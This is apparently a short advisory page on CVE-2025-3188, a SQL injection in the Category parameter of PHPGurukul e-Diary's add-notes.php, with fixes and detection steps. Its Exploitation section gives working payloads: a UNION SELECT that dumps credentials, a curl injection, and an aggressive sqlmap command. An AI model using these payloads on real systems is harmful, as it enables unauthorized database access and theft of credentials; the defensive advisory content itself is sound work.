PHPGurukul e-Diary Management System 10, SQL Injection, CVE-2025-3188 (Critical)

How CVE-2025-3188 Works

The vulnerability exists in the `add-notes.php` file of PHPGurukul e-Diary Management System 1.0 due to improper sanitization of the `Category` parameter. Attackers can inject malicious SQL queries through this parameter, leading to unauthorized database access. The application fails to validate user-supplied input before concatenating it into SQL statements, allowing attackers to manipulate queries. Remote exploitation is possible without authentication, enabling data theft, modification, or deletion. The CVSS 4.0 vector (AV:N/AC:L/PR:N/UI:N) confirms network-based attacks with low complexity.

DailyCVE Form

Platform: PHPGurukul e-Diary
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 04/08/2025

What Undercode Say:

Exploitation

1. SQLi Payload Example:

' UNION SELECT username, password FROM users-- -

2. Exploit via cURL:

curl -X POST "http://target.com/add-notes.php" -d "Category=' OR 1=1-- -"

3. Automated Testing with SQLmap:

sqlmap -u "http://target.com/add-notes.php?Category=1" --risk=3 --level=5

Protection

1. Input Sanitization:

$category = mysqli_real_escape_string($conn, $_POST['Category']);

2. Prepared Statements:

$stmt = $conn->prepare("INSERT INTO notes (category) VALUES (?)");
$stmt->bind_param("s", $category);

3. WAF Rules:

location ~ .php$ {
modsecurity_rules 'SecRule ARGS "@detectSQLi" "id:1001,deny,status:403"';
}

4. Patch Verification:

grep -r "add-notes.php" /var/www/html | grep -i "category"

Analytics

  • Impact: Full database compromise.
  • Exploitability: High (no auth required).
  • Mitigation: Update to patched version or apply code fixes.

Detection

grep -Rn "mysql_query.\$_POST" /path/to/application

Log Analysis

Check for repeated POST requests to `add-notes.php` with unusual `Category` values:

tail -f /var/log/apache2/access.log | grep "add-notes.php"

References:

Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-3188
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top